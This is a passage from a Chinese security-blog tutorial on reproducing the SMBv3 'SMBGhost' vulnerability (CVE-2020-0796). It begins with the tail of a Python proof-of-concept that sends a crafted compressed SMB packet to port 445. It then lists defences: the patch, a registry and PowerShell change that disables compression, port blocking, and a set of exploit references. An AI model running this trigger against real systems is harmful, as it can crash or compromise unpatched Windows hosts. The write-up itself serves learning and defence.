IP_ADDR".format(sys.argv[0]))sock = socket.socket(socket.AF_INET)sock.settimeout(3)sock.connect((sys.argv[1], 445))send_negotiation(sock)send_compressed(sock, "A" * 50)五.防御措施
寫到這里,這篇CVE-2020-0796漏洞復現的文章就介紹結束了,希望對您有所幫助。這篇文章也存在一些不足,作者沒有更深入的理解其原理,也是作為網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。
最后補充防御方法:
- 運行Windows更新,完成Windows10 2020年3月累積更新補丁的安裝。
操作步驟:設置->更新和安全->Windows更新,點擊“檢查更新”。 - 直接下載對應補丁進行安裝(KB4551762)。
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762 - 訪問微軟該漏洞官方頁面,選擇相應的Windows版本安全更新,獨立安裝該漏洞安全補丁。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
- 根據BleepingComputer的說法,盡管Microsoft并未共享禁用SMBv3壓縮的官方方法,但是Foregenix Solutions架構師Niall Newman在分析了Srv2.sys文件后可以通過手動修改注冊表,防止被黑客遠程攻擊。
(1) 在注冊表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。
(2) 在管理員模式啟動PowerShell,將以下命令復制到Powershell命令行,執行即可。
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
- 若無業務必要,在網絡安全域邊界防火墻封堵文件打印和共享端口TCP 135/139/445以緩解此問題。
- 可以通過安全廠商的漏洞檢驗和修復工具來檢查是否存在漏洞和進行漏洞修復。
六.總結
希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。作為初學者,我們可能有差距,不論你之前是什么方向,是什么工作,是什么學歷,是大學大專中專,亦或是高中初中,只要你喜歡安全,喜歡滲透,就朝著這個目標去努力吧!有差距不可怕,我們需要的是去縮小差距,去戰斗,況且這個學習的歷程真的很美,安全真的有意思。但切勿去做壞事,我們需要的是白帽子,是維護我們的網絡,安全路上共勉。
最后,真誠地感謝您關注“娜璋之家”公眾號,也希望我的文章能陪伴你成長,希望在技術路上不斷前行。文章如果對你有幫助、有感悟,就是對我最好的回報,且看且珍惜!再次感謝您的關注,也請幫忙宣傳下“娜璋之家”,哈哈~初來乍到,還請多多指教。順便說一句,今天CSDN賬號的粉絲破十萬了,還挺開心的。
(By: Eastmount 2020-12-30 夜于武漢 https://blog.csdn.net/Eastmount)
參考文獻:
- [1] https://github.com/danigargu/CVE-2020-0796
- [2] https://github.com/ollypwn/SMBGhost
- [3] https://github.com/eastmountyxz/CVE-2020-0796-SMB
- [4] https://github.com/joaozietolie/CVE-2020-0796-Checker
- [5] 更新 : 公開渠道出現本地提權工具 | 微軟 Windows SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)通告 - 奇安信威脅情報中心 紅雨滴團隊
- [6] 關于CVE-2020-0796 - 我要變超人
- [7] CVE-2020-0796本地利用簡析
- [8] CVE-2020-0796藍屏POC 漏洞復現 - Jie_Blog
- [9] https://download.csdn.net/download/ltt440888/12255558
- [10] CVE-2020-0796 SMBv3漏洞復現(藍屏poc) - L0ading
- [11] CVE-2020-0796:SMBv3的RCE漏洞,下一個EternalBlue?- NOSEC平臺
- [12] 135、137、138、139和445端口 - 謝公子大佬
- [13] Linux文件共享服務之Samba - 謝公子大佬
- [14] 445端口不通經驗總結 - frankarmstrong
- [15] 計劃任務中使用NT AUTHORITY\SYSTEM用戶和普通管理員用戶有什么區別 - shangzhihaohao
- [16] https://www.bilibili.com/video/av97457537/
- [17] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
- [18] CVE-2020-0796 SMBv3漏洞藍屏復現+提權 - anlalu233
- [19] https://github.com/ZecOps/CVE-2020-0796-LPE-POC
總結
以上是生活随笔為你收集整理的[系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [系统安全] 九.Windows漏洞利用
- 下一篇: [Python人工智能] 二十六.基于B